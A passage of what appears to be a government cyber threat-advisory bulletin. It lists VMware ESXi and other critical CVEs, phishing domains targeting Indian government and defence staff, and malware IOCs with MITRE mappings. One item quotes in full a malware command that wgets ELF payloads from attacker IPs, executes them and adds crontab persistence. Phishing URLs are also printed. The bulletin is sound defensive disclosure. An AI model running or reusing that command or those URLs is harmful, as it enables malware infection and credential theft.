Three critical vulnerabilities Time-of-Check Time-of-Use ( TOCTOU )  vulnerability (CVE-2025-22224), arbitrary write vulnerability (CVE-2025-22225) and information disclosure vulnerability (CVE-2025-22226) are being exploited in the wild and affecting VMware ESXi, Workstation, and Fusion products.These flaws enable VM-to-host escape attacks, posing a significant risk to systems using these VMware products that could lead to code execution and information disclosure.

* CVE-2025-22224 (CVSS score: 9.3)- is a TOCTOU vulnerability allowing a threat actor with local admin privileges on a virtual machine to exploit an out-of-bounds write and execute code as the virtual machine's VMX process running on the host.
* CVE-2025-22225 (CVSS score: 8.2)- is an arbitrary write vulnerability that could allow a malicious actor with VMX process privileges to escape the sandbox.
* CVE-2025-22226 (CVSS score: 7.1)- is an information disclosure vulnerability caused by an out-of-bounds read in HGFS (Host-Guest File System), which a malicious actor with VM administrative privileges could exploit to leak memory from the VMX process.

**Impacts:**Exploitation of these vulnerabilities could allow adversaries to gain elevated privileges, execute code on the host system, escape VM isolation, and leak sensitive information. In a targeted attack, these vulnerabilities could be chained together to escalate an attack, compromising virtualized infrastructures, spreading malware, or stealing sensitive data. If these vulnerabilities are exploited in the wild, it poses a significant risk to organizations using virtualized environments, especially if attackers can move from the VM to the host system or across VMs on the same host.

**Affected Products:**

VMware ESXi

VMware Workstation Pro / Player (Workstation)

VMware Fusion

VMware Cloud Foundation

VMware Telco Cloud Platform

VMWare PRODUCT- FIXED VERSION

VMware ESXi - ESXi80U3d-24585383

VMware ESXi - ESXi80U2d-24585300

VMware ESXi - ESXi70U3s-24585291

VMware Workstation - 17.6.3

VMware Fusion - 13.6.3

VMware Cloud Foundation - Async patch to ESXi80U3d-24585383

VMware Cloud Foundation - Async patch to ESXi70U3s-24585291

VMware Telco Cloud Platform - KB389385

VMware Telco Cloud Infrastructure - KB389385

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Due to the active exploitation of this vulnerability by threat actors and its potential to severely impact your assets, it is critical to prioritize patching CVE-2025-22226 immediately to mitigate the risk of unauthorized access and data breaches.
* Protect your system by installing the latest VMware security updates and patches, enforcing multifactor authentication (MFA) on all accounts, and removing any MFA exemptions to prevent unauthorized access.

**Reference:**CERT-IN [CMTX-P032025035]

***Note:****VA: Vulnerability Advisory*

**42.** **TA-PHI-2025-03-10-004**

It has been observed that malicious domain is spoofing as CERT-In's domain

Please find below phishing domain found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domain:**

certin-org.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Network administrator should implement email authentication protocols like SPF, DKIM, and DMARC to help detect and prevent email spoofing.
* Inculcate the practice of verifying domain names and URLs before clicking on links, especially in emails.
* Regular training sessions to raise awareness about the tactics used by attackers, such as typo-squatting and spear-phishing.

**Reference:** CERT-IN  [CMTX-I-080032025]

***Note****:  TA-PHI: Threat Alert Phishing Advisory*

**43.** TA-PHI-2025-03-10-005

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

5b63-103-108-174-26.ngrok-free.app

ksaps.gov.in.jobs

prasarbharati.gov.inwindows.com

googlgoogle.gov.ine.co.in

\*.ngrok-free.app

www.email.gov.in.defencedept.work

email.gov.in.defencedept.work

\*.defencedept.work

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Network administrator should implement email authentication protocols like SPF, DKIM, and DMARC to help detect and prevent email spoofing.
* Inculcate the practice of verifying domain names and URLs before clicking on links, especially in emails.
* Regular training sessions to raise awareness about the tactics used by attackers, such as typo-squatting and spear-phishing.

**Reference:**CERT-IN  [CMTX-I-006032025] & [CMTX-I-004032025]

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**44.** **VA-2025-03-10-003**

**Vulnerability in PHPGurukul Student Record System**

A SQL injection vulnerability has been discovered in the PHPGurukul Student Record System. The affected version is PHPGurukul Student Record System 3.2.

CVE ID: CVE-2025-1902 (Critical)

**Vulnerability in WordPress Show Me The Cookies plugin**

An arbitrary shortcode execution vulnerability has been discovered in the WordPress Show Me The Cookies plugin. The affected versions are the Show Me The Cookies plugin, all versions up to and including, 1.0.

CVE ID: CVE-2025-1509 (Critical)

**Vulnerability in Tenda**

A stack-based buffer overflow vulnerability has been discovered in Tenda. The affected versions are Tenda A18 up to 15.13.07.09.

CVE ID: CVE-2025-0848 (Critical)

**Vulnerability in Tenda**

A stack overflow vulnerability has been discovered in Tenda. The affected version is Tenda AC18 V15.03.05.19.

CVE ID: CVE-2024-57582 (Critical)

**Vulnerability in Merkur Software**

A SQL injection vulnerability has been discovered in Merkur Software B2B Login Panel. The affected versions are Merkur Software B2B Login Panel before 15.01.2025.

CVE ID: CVE-2024-13147 (Critical)

**Vulnerability in picklescan**

It has been discovered that picklescan only considers standard pickle file extensions and not non-standard file extensions in the scope for its vulnerability scan. The affected version is picklescan before 0.0.22.

CVE ID: CVE-2025-1889 (Critical)

**Vulnerability in shishuocms**

An unrestricted upload vulnerability has been discovered in shishuocms. The affected version is shishuocms 1.1.

CVE ID: CVE-2025-1890 (Critical)

**Vulnerability in Hewlett Packard Enterprise**

A directory traversal vulnerability has been discovered in Hewlett Packard Enterprise Insight Remote Support.

CVE ID: CVE-2024-53676 (Critical)

**Vulnerability in OctoPrint**

An authentication bypass vulnerability has been discovered in OctoPrint. The affected versions are OctoPrint up until and including 1.10.0.

CVE ID: CVE-2024-32977 (Critical)

**Vulnerability in Yukseloglu Filter B2B Login Platform**

SQL injection vulnerability has been discovered in Yukseloglu Filter B2B Login Platform. The affected versions are B2B Login Platform: before 16.01.2025.

CVE ID: CVE-2024-13148 (Critical)

**Vulnerability in Alldata**

Command execution vulnerability has been discovered in Alldata. The affected version is Alldata V0.4.6.

CVE ID: CVE-2024-27604 (Critical)

**Vulnerability in Schneider Electric's Equipment**

Out-of-bounds Write vulnerability has been discovered in Schneider Electric's Equipment- Communication modules for Modicon M580 and Quantum controllers that allow a stack overflow attack, which could result in loss of confidentiality, integrity, and denial of service of the device. The mitigations are available.

CVE ID: CVE-2021-29999 (Critical)

**Vulnerability in WordPress WooCommerce Ultimate Gift Card plugin**

Arbitrary file upload vulnerability has been discovered in WooCommerce Ultimate Gift Card plugin for WordPress. The affected versions are WooCommerce Ultimate Gift Card plugin for WordPress all versions up to, and including, 2.6.0.

CVE ID: CVE-2024-8425 (Critical)

**Security Updates for WHMpress - WHMCS WordPress Integration Plugin**

WordPress has released security updates to resolve a local file inclusion vulnerability in the WHMpress - WHMCS WordPress Integration Plugin. The affected versions are WHMpress - WHMCS WordPress Integration Plugin, all versions up to and including 6.3-revision-0.

CVE ID: CVE-2024-9193 (Critical)

**Security Updates for WordPress DHVC Form plugin**

WordPress has released security updates to resolve a privilege escalation vulnerability in the DHVC Form plugin. The affected versions are DHVC Form plugin, all versions up to and including 2.4.7.

CVE ID: CVE-2024-8420 (Critical)

***Note:****VA: Vulnerability Advisory*

**45.** **TA-PHI-2025-03-10-006**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domain. The email contains attachment file named "DO Letter Integrated HQ of MoD dated 3 March.pdf", which further contains a hyperlink https://email.gov.in.modindia.link/service/home/?auth=co&id=29238&filename=Dept%20%20of%20defence%20india%202025&charset=UTF-8 " with the title "View Document". On clicking the hyperlink, it opens the phishing page of NIC login page and seeks for username and password.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

150.171.27.10

45.141.59.72

**Domain:**

modindia.link

**URL:**

https://email.gov.in.modindia.link/service/home/?auth=co&id=29238&filename=Dept%20%20of%20defence%20india%202025&charset=UTF-8

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Never click and execute email attachments from unknown sources.
* Never open links shared on social media from unknown sources.
* Never run unknown files with exaggerated titles.
* Users of nic.in and gov.in domains be sensitised about the threat vector.

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**46.** **TA-MAW-2025-03-10-005**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs..

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domain:**

cloud.glowman554.gq

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendation:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

***Note:***TA-MAW: Threat Alert Malware Advisory

**47.** **TA-PHI-2025-03-11-007**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

www.drdo.gov.in.sci-hub.cc

ww25.gov.in.web.betasupport.info

2.www.nrega.gov.in3.www.nrega.net

ww25.gov.in.in-me.life

ww25.gov.in.web.index.php.auth.viewqual.info

ww25.fci.gov.in.letr.online

deity.gov.in.bringwebsite.com

eauction.gov.in.bike

www.bnd.ndmc.gov.in.viawcert.info

ww25.gov.in.in-me.life

\*.gov.in.hindimerijaan.in

\*.sci-hub.cc

\*.web.betasupport.info

\*.nrega.net

\*.in.in-me.life

\*.auth.viewqual.info

\*.in.letr.online

\*.in.bringwebsite.com

\*.gov.in.bike

\*.in.viawcert.info

\*.in.in-me.life

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Network administrator should implement email authentication protocols like SPF, DKIM, and DMARC to help detect and prevent email spoofing.
* Inculcate the practice of verifying domain names and URLs before clicking on links, especially in emails.
* Regular training sessions to raise awareness about the tactics used by attackers, such as typo-squatting and spear-phishing.

**Reference**: CERT-IN [CMTX-I-920022025]

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**48.**  **VA-2025-03-11-004**

Please find attached pdf of the Prominent Vulnerability List, which comprises a list of vulnerabilities present in cyberspace recently along with affected products, vulnerability descriptions and availability of patches.

**File Name:** Prominent Vulnerability List.pdf

**SHA256:** 699c97cafacdfa63cfa4aea38f58297731d412cb627f3e0d6c3418f4f4d92a49

**Reference**: CERT-IN [CMTX-P-VUL-032025015]

**Note**: VA: Vulnerability Advisory

**49.** **TA-PHI-2025-03-11-008**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domains. The email contains a hyperlink "https://creativegardendesign.in/ups/index1.php" with the button "Download". Upon clicking the hyperlink, it downloads an iso file "Document.iso", which is a malicious file. On extraction, a file "IAG Strategy.jpeg.exe", which is an EXE (Executable) file of the Windows Operating System that belongs to the MSIL Trojan Malware family. On execution the "IAG Strategy.jpeg.exe", it downloads a file, "sysi.exe", which is stored in the hidden directory "C:\ProgramData\sysi.exe", to create persistence in the registry and execute malicious vbe script file named "pooram.vbe" inside "C:\Users\Admin\AppData\Roaming\pooram.vbe".

The file performs following functions:-

Execution(Command and Scripting Interpreter, Install Additional Program)

File System (Create File, Create Directory, Write File, alter file Extension)

Defense Evasion(Hidden files and Directories,  Self Deletion, Disable or Modify Tools, Browser Information Discovery)

Discovery (File and Directory Discovery)

Persistence ( Hidden files and Directories)

Anti behavioral Analysis( Debugger Detection, Debugger Evasion)

**Mitre ATT&CK Tactics and Techniques**

TA0002: Execution

* T1059: Command and Scripting Interpreter.
* T1064: Scripting
* T1106: Native API
* T1129: Shared Module

TA0003: Persistence

* T1574.002: DLL side Loading
* T1574:  Hijack Execution Flow
* T1574:  Application Shimming
* T1546: Event Triggered Execution

TA0007: Discovery

* T1033: Security software Discovery.
* T1057: Process Discovery
* T1082: System Information Discovery
* T1083: File and Directory Discovery
* T1083: Virtualization/Sandbox Evasion

TA0004: Privilege Escalation

* T1574.002: DLL side Loading
* T150: Process Injection
* T1546: Event Triggered Execution
* T1546: Hijack Execution Flow

TA0005: Defense Evasion

* T1036: Masquerading
* T1027:Obfuscated Files or Information
* T1564:001:Hidden Files and Directories
* T1497: Virtualization/Sandbox Evasion
* T1140: Deobfuscate/Decode Files or Information
* T1562.001:Disable or Modify Tools
* T1574.002: DLL side Loading
* T1574:  Hijack Execution Flow

TA0006:  Credential Access

* T1539: Steal Web Session Cookie

TA0011 :  Command and Control

* T1071: Application Layer Protocol.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

122.187.28.233

151.106.97.183

**Domain:**

CreativeGardenDesign.in

**Filenames**:

IAG Strategy.jpeg.exe

IAG Strategy.jpeg.exe

sysi.exe

pooram.vbe

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Never click and execute email attachments from unknown sources.
* Never open links shared on social media from unknown sources.
* Never run unknown files with exaggerated titles.
* Users of nic.in and gov.in domains be sensitised about the threat vector.

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**50.** **TA-PHI-2025-03-11-009**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domains. The email contains a hyperlink "https://email.gov.in.defencedept.work/service/home/", with the title "https://email.gov.in/service/home/~/?auth=co&loc=en&id=15797&part=2&disp=a", which is currently not working. The IP address and the domain involved are currently active in compromising the user credentials/propagating malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOCs START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

45.141.59.72

**Domain:**

defencedept.work

**URL:**

https://email.gov.in.defencedept.work/service/home/

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOCs END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Never click and execute email attachments from unknown sources.
* Never open links shared on social media from unknown sources.
* Never run unknown files with exaggerated titles.
* Users of nic.in and gov.in domains be sensitised about the threat vector.

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**51. TA-PHI-2025-03-27-017**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domains. The email contains an attachment "Req for DP Extension under Force Majeure Clause.zip". Upon clicking, the archive file "Req for DP Extension under Force Majeure Clause.desktop" is extracted, which is a malicious file. Upon clicking"Req for DP Extension under Force Majeure Clause.desktop" file,  a PDF file named "Req for DP Extension under Force Majeure Clause.pdf" is  downloaded from  the link  ''hxxps://drive.google.com/file/d/1ij5bSjkNiE1qsGBPuu1vO-g\_TkRJO2Ss/view?usp=sharing'' and opened. The file is not malicious, and is being used as a decoy to convince the victim of the  legitimacy of the mail. Simultaneously, multiple commands get executed in the background.  In the background, it executes commands:

"wget 164[.]92[.]190[.]176/spawn-fcgi-1 -O ~/.local/share/spawn-fcgi-1 && chmod +x ~/.local/share/spawn-fcgi-1; ~/.local/share/spawn-fcgi-1 >/dev/null 2>&1 & sleep 5; wget 209[.]38[.]33[.]123/spawn-fcgi-2 -O ~/.local/share/spawn-fcgi-2 && chmod +x ~/.local/share/spawn-fcgi-2; ~/.local/share/spawn-fcgi-2 >/dev/null 2>&1 & (crontab -l; echo '\*/8\* \* \* \* \* ~/.local/share/spawn-fcgi-1 >> ~/.local/share/spawn.log 2>&1') | crontab -;(crontab -l; echo '\*/8\* \* \* \* \* ~/.local/share/spawn-fcgi-2 >> ~/.local/share/spawn.log 2>&1') | crontab -"

These commands downloads 2 ELF Linux Poseidon Malware files namely "spawn-fcgi-1" and "spawn-fcgi-2" and saves them in the local directory and change their permission and executes them.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

134[.]209[.]250[.]88

164[.]92[.]211[.]176

209[.]38[.]33[.]123

164[.]92[.]190[.]176

**Hashes:**

333079089b8587563de0ff1e8f5a18b0

4cf7f6b0ff8f55091a857d720195060d

5c71c683ff55530c73477e0ff47a1899

1657c9d6256ef45abfd7476e6aafe66a

c4d0068d648f48f49da60bf37196047ebd0e77d8

b6170fd0a1a75e043cd412300db4c67a351f71a6

09d5642dc974aa1590e6cad5f0689ed721a69975

f1471df33a7c813c66f1570d1fc253b9d1dc9daf

7bf8d815a469703984fb1020dc8d908dfe44cbfcdd3694870943cf3a0e1a4d7f

7a2f7357ce5ebd03bbf10b856a30706f71eb1586c309aff9169fb5b056791741

76b3253d01676674c6dc1ca2e86cfccd5e21a0883b3486258c38f55df1b39a79

ae520a6e499ad39e64858200e21f7c54e590fca00aa5de5f5e32f016075e549f

**Filenames:**

Req for DP Extension under Force Majeure Clause.zip

Req for DP Extension under Force Majeure Clause.desktop

spawn-fcgi-2

spawn-fcgi-1

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Never click and execute email attachments from unknown sources.
* Never open links shared on social media from unknown sources.
* Never run unknown files with exaggerated titles.
* Users of nic.in and gov.in domains be sensitised about the threat vector.

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**52. TA-PHI-2025-03-27-018**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

accounts[.]mgovcloud[.]in[.]webmailnic[.]army

mgovcloud[.]in[.]webmailnic[.]army

\*.webmailnic[.]army

www[.]email[.]gov[.]in[.]indiangov[.]site

email[.]gov[.]in[.]indiangov[.]site

\*[.]in[.]indiangov[.]site

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Network administrator should implement email authentication protocols like SPF, DKIM, and DMARC to help detect and prevent email spoofing.
* Inculcate the practice of verifying domain names and URLs before clicking on links, especially in emails.
* Regular training sessions to raise awareness about the tactics used by attackers, such as typo-squatting and spear-phishing.

**Reference**: CERT-IN [CMTX-I-100032025] & [CMTX-I-943032025]

***Note:****TA-PHI: Threat Alert Phishing Advisory*